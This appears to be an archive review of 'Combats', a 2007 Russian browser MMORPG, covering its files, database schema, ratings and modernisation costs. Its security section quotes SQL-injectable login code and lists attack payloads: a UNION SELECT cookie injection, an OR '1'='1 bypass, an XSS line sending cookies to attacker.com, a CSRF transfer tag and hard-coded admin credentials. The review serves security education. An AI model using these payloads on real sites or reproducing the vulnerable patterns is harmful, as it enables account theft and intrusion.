Dive into a vast fantasy world of duels, clans, and dungeons. Combats is a feature‑rich browser RPG packed with races, professions, and a massive equipment roster—from beginner steel to crystal blades—balanced by a deep stat system and ladder challenges. Train up, join a tribe, and test your build in fast, tactical bouts.
Victory favors the prepared. Explore maze‑like vaults, master profession paths in the academy, trade gear in commission shops, and hone your loadout across 19 equipment slots. With chat, forums, banking, and a bustling marketplace, Combats delivers a living world where PvP rivalries and dungeon runs fuel endless progression.
Game Name: Combats
Genre: Fantasy MMORPG / Browser-based RPG
Theme: Multi-race fantasy world with dungeon exploration, clan warfare, PvP combat, and profession systems
License: Unknown (no license file found, but credited to original author)
Version: Unknown (modified/enhanced version)
Original Author: Sasen
Modification Credit: "modified by Shkic" (per meta tag in index.php)
Database Credit: "BD by SHKIC" (database schema filename)
Language: Russian (windows-1251/cp1251 character encoding throughout)
Technology: PHP 4.x/5.x, MySQL 5.0.38 (MyISAM engine), JavaScript, HTML 4.01, frames-based interface
Release Date: Database dump dated August 8, 2007 (phpMyAdmin 2.10.1, PHP 5.2.3)
Distribution Status: Modified open-source or community fork (Shkic's modifications of Sasen's original)
| File Type | Count | Size (MB) | Purpose |
|---|---|---|---|
| Total | 1,155 files | 4.39 MB | Complete game package |
| *.gif | 854 | 2.429 | UI elements, sprites, equipment icons |
| *.php | 256 | 0.788 | Game logic, pages, systems |
| *.jpg | 17 | 0.633 | Backgrounds, character graphics |
| *.js | 9 | 0.046 | JavaScript libraries, client-side logic |
| *.bak | 6 | 0.056 | Backup files (development artifacts) |
| *.css | 5 | 0.009 | Stylesheets |
| *.html | 3 | 0.003 | Static pages (smiles.html, blank.html, news.html) |
| *.swf | 1 | 0.155 | Flash component |
| *.ttf | 1 | 0.157 | TrueType font file |
| *.htaccess | 1 | 0.000 | Apache configuration |
| *.rar | 1 | 0.015 | BD_by_SHKIC.rar (database backup archive) |
| *.sql | 1 | 0.102 | Database schema (1,621 lines) |
Analysis: This is a substantial game with 1,155 files and extensive content. The 854 GIF files (2.4 MB) indicate comprehensive graphical assets for equipment, races, and UI. The 256 PHP files suggest complex game systems. Database backup packaged as RAR shows active development. The 6 backup files (.bak) are development artifacts. This is a feature-complete MMORPG with significant depth.
Database Schema (36 tables):
abils (Abilities/Powers) - Magical abilities with tribe restrictions, wear countersacademy (Training Academy) - Profession training systemauthorization - Two-factor authentication codes (MD5 hashes, currently empty)bank - Banking system with credit/platinum storage, transaction logsbattles - Combat log systembilling - Real-money transactions systembutik (Boutique) - Premium item shop inventory (currently empty)chat - Chat room system with system messages, private messages, redirectsclan_zayavka (Clan Applications) - Clan creation requestsdiller (Dealer) - Some form of dealer/merchant systemencicl (Encyclopedia) - Game documentation system (empty)forest - Forest gathering profession systemforums - Forum categories system (structure only, no posts)items - Massive item database with 200+ itemskomis (Commission Shop) - Player-to-player trading marketplaceld (Ladder/Leaderboard) - Individual combat challenge requestslevels - Comprehensive leveling system (101 levels defined)magic - Active spell system (player-cast spells in battles)moneys - Payment/transaction tracking with IP loggingnshop (Main Shop) - Shop inventory with stock quantitiesobjects - Game world objects/decorationsonline - Active player session trackingplayers - Primary character data table (extensive fields)posts - Forum post contentrase (Races) - Playable race definitionsreg - Registration validation queuereposts - Forum reply trackingsecurity - Login attempt logging with IP tracking, result codessetka (Grid/Map) - World map systemshop - Shop department inventory (duplicate/related to nshop?)slots - Active equipped items (character equipment slots)top - Clan rankings/top lists (empty)topics - Forum topic threads (empty)transfers - Item/money transfer logs between playerstribes (Clans) - Clan/guild informationvault - Dungeon/maze exploration systemPHP Architecture:
$_COOKIE['user'], $_COOKIE['pass'])mysql_* functions throughout (removed PHP 7.0+), addslashes() for SQL injection "prevention"Combat System Architecture:
Core Game Loop:
Signs of Active Development/Testing:
Player Activity Assessment: MODERATE - The game shows clear evidence of internal testing with:
This indicates substantial development testing, but no evidence of public release or significant player base. Likely a private test server or small community instance.
Rating: 4/10 (Below Average - Functional but Severely Insecure)
Strengths:
Critical Weaknesses:
$stat = mysql_fetch_array(mysql_query("select * from players where user='".addslashes($user)."' and pass='".addslashes($pass)."'"));
$stat = mysql_fetch_array(mysql_query("SELECT * FROM players WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
addslashes() used (insufficient protection)mysql_query(), mysql_fetch_array()$_COOKIE['user'] and $_COOKIE['pass'] for session management (deprecated HTML 4.01, removed HTML5)Code Maturity: This is a feature-complete but insecure 2007-era browser MMORPG. The developers (Sasen + Shkic) created an ambitious game with extensive content and systems, but completely ignored security best practices. The game is functional for its era, but catastrophically insecure by any standard.
Innovation Rating: 6/10 (Moderate Innovation)
Novel Elements:
Derivative Elements:
Overall Innovation: Mid-tier. The game shows creative thinking in time-lock management, granular combat stats, and deep progression, but most systems are standard MMORPG fare with Russian flavor. The 19-slot equipment and 5-layer armor are unusual, as is the 16-profession system. The dungeon maze text descriptions are atmospheric. However, the core gameplay loop is derivative.
Security Assessment: CATASTROPHIC
This game has every critical vulnerability from 2007:
Danger Level: EXTREME - Deployment would result in immediate compromise. Database would be dumped within hours, all accounts stolen, site defaced, server possibly rooted.
Modern Viability: 2/5 (Very Low)
Why This Game Cannot Be Used Today:
Modernization Cost Estimate:
| Task | Hours | Cost @ $75/hr |
|---|---|---|
| Database migration (PDO/mysqli) | 40 | $3,000 |
| Password hashing (bcrypt/Argon2) | 8 | $600 |
| SQL injection fixes (prepared statements) | 60 | $4,500 |
| XSS/CSRF protection | 20 | $1,500 |
| Session security (JWT/tokens) | 12 | $900 |
| Frame-to-div UI rewrite | 80 | $6,000 |
| UTF-8 character encoding migration | 16 | $1,200 |
| HTTPS implementation | 4 | $300 |
| Mobile responsive design | 60 | $4,500 |
| Testing & debugging | 40 | $3,000 |
| TOTAL | 340 hours | $25,500 |
However: Even with $25,500 investment, the resulting game would be a 2007-era browser MMORPG with 2024 security. The frame-based UI paradigm is fundamentally obsolete. The Russian-only content limits market. The game lacks modern features (achievements, daily quests, social media integration, microtransactions, loot boxes, battle passes).
Better Alternative: Build modern MMORPG from scratch using Laravel + Vue.js + WebSocket for $35,000-$50,000 with:
Return on Investment: NEGATIVE - Modernizing Combats for $25,500 results in outdated game with limited market. Better to archive as historical artifact and build new game for similar cost with modern appeal.
Historical Value:
This game is a significant artifact of Russian browser MMORPG development (2007):
The game represents the peak complexity of frame-based browser MMORPGs before the 2008-2012 shift to AJAX/HTML5 and eventual mobile dominance (2012-2016). It's a complete, feature-rich game that was likely played on a private server or small Russian community, never achieving wide distribution.
Critical Vulnerabilities (2007 OWASP Top 10 violations):
// Vulnerable to SQL injection
$stat = mysql_fetch_array(mysql_query("SELECT * FROM players WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
// Attack: Cookie: user=admin' OR '1'='1
// Result: Bypass authentication, dump database
// Only addslashes() used (insufficient)
$stat = mysql_fetch_array(mysql_query("select * from players where user='".addslashes($user)."' and pass='".addslashes($pass)."' LIMIT 1"));
// Attack: Use null byte or encoding attacks to bypass addslashes
// Plaintext password storage
CREATE TABLE players (pass varchar(50) NOT NULL default '');
// Plaintext password comparison
where user='$user' and pass='$pass'
// Passwords in cookies
@SetCookie("user", "$user");
@SetCookie("pass", "$pass");
// No password hashing, no encryption, no session tokens
Additional Vulnerabilities:
mysql_query(), mysql_fetch_array()$pl_ip=mysql_fetch_array(mysql_query("SELECT ip FROM security WHERE user='".$stat['user']."' AND result=1 ORDER BY id DESC"));
if($pl_ip['ip']!=$my_ip){ header("Location: index.php"); exit; }
Exploitation Scenarios:
Cookie: user=admin' UNION SELECT 1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 FROM players--
Result: Dump all plaintext passwords
Cookie: user=admin' OR '1'='1; pass=anything
Result: Login as any user
Chat message: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Result: Steal all users' plaintext password cookies
<img src="http://victim-game.com/transfer.php?to=attacker&amount=999999">
Result: Victim unknowingly transfers all credits to attacker
Login: user=Stworzyciel, pass=admin
Result: 8690 credits, admin privileges, likely full system access
For Historical/Academic Use Only:
If Attempting Modernization (Strongly Not Recommended):
Total modernization: 420 hours @ $75/hr = $31,500
Realistic Assessment: At $31,500 cost, you get a 2007-era game with 2024 security but:
Better Alternative: Build modern MMORPG from scratch for $40,000-$60,000:
Return on Investment Analysis:
| Scenario | Cost | Time | Result | Market Appeal | ROI |
|---|---|---|---|---|---|
| Modernize Combats | $31,500 | 10 months | 2007 game, 2024 security | Russian niche | Negative |
| Build new game | $50,000 | 12 months | 2024 game, modern features | Global market | Positive |
Verdict: Modernizing Combats is financially irresponsible. The game is a valuable historical artifact but commercially dead. Invest in new development instead.
Preservation Recommendations:
This software contains catastrophic security vulnerabilities and MUST NOT be deployed in any production environment.
Modernization Cost: $31,500 (420 hours) with negative ROI. Recommendation: Build new game for $50,000 instead.
Game Type: Comprehensive Russian fantasy MMORPG with 101-level progression, 19-slot equipment, 5-layer armor, 16 professions, dungeon maze, clan system, and 36-table database
Development Status: Feature-complete, tested internally, never publicly released (or very limited release)
Completion Level: ~95% (fully functional, minor content gaps, abandoned before marketing)
Code Quality: 4/10 (ambitious design, catastrophic security, deprecated APIs)
Innovation: 6/10 (time-lock systems, 19-slot equipment, 5-layer armor, 101 levels, 16 professions)
Security: CATASTROPHIC (plaintext passwords, SQL injection, XSS, no CSRF, hard-coded admin credentials)
Modern Viability: 2/5 (non-functional PHP 7+, requires $31,500 modernization with negative ROI)
Historical Significance: High (peak 2007 Russian browser MMORPG, frame-based UI, pre-PHP 7 era, Sasen+Shkic collaboration)
Best Use Case Today: Museum piece for gaming history, security training ("how not to build"), database design study, Russian game development research. Should NEVER be deployed.
Unique Characteristics:
Bottom Line: Combats represents the pinnacle of 2007 Russian browser MMORPG development - a feature-complete, ambitious game with 1,155 files, 36 database tables, and extensive content. Created by Sasen and enhanced by Shkic, it demonstrates collaborative open development. The game shows evidence of internal testing (179 chat messages, 778+ shop sales, 1 fully-equipped character) but likely never achieved public release or remained in small Russian community.
Technical execution: Impressive scope and complexity for its era, with sophisticated time-lock management, granular combat systems, and deep character progression. However, security is catastrophic - plaintext passwords, SQL injection everywhere, no CSRF/XSS protection, deprecated mysql_* API. The frame-based UI is obsolete (removed HTML5), and character encoding (cp1251) causes compatibility issues.
Modern viability: Zero. Non-functional on PHP 7+ (released 2015). Modernization costs $31,500 for 420 hours of work, resulting in outdated game with limited market appeal (Russian-only, 2007 mechanics). Better to invest $50,000 in new modern MMORPG with global market potential.
Historical value: Extremely high as artifact of:
Recommendation: Preserve in gaming museum, use for education (database design, security lessons), and historical research. Do NOT deploy under any circumstances. Modernization is financially irresponsible - build new game instead if commercial intent exists.
| Category | Rating | Score | Notes |
|---|---|---|---|
| Historical Value | 10/10 | Peak 2007 Russian MMORPG artifact, frame-based UI, pre-PHP 7 era | |
| Game Design Innovation | 9/10 | 8 time-locks, 19 equipment slots, 101 levels, 5-layer armor, 16 professions | |
| Feature Completeness | 10/10 | 1,155 files, 36 tables, complete systems (combat, economy, clans, dungeons) | |
| Content Depth | 8/10 | 200+ items, 101 levels, extensive profession system, some gaps in content | |
| Security | 0/10 | CATASTROPHIC: Plaintext passwords, SQL injection, XSS, CSRF, hard-coded credentials | |
| Code Quality | 4/10 | Deprecated mysql_* API, no input validation, poor separation of concerns | |
| Modern Viability | 2/10 | Non-functional PHP 7+, requires $31,500 modernization, obsolete UI/encoding | |
| Database Design | 8/10 | Well-structured 36-table schema, clear relationships, good normalization | |
| Educational Value | 10/10 | Perfect for security training, database studies, gaming history, what-not-to-do examples | |
| Preservation Priority | 10/10 | Irreplaceable artifact of Russian game dev history, must be archived | |
| Overall Grade |
C+ (Historical A+) |
Museum piece - invaluable for history, unusable for production | |
Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.
We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.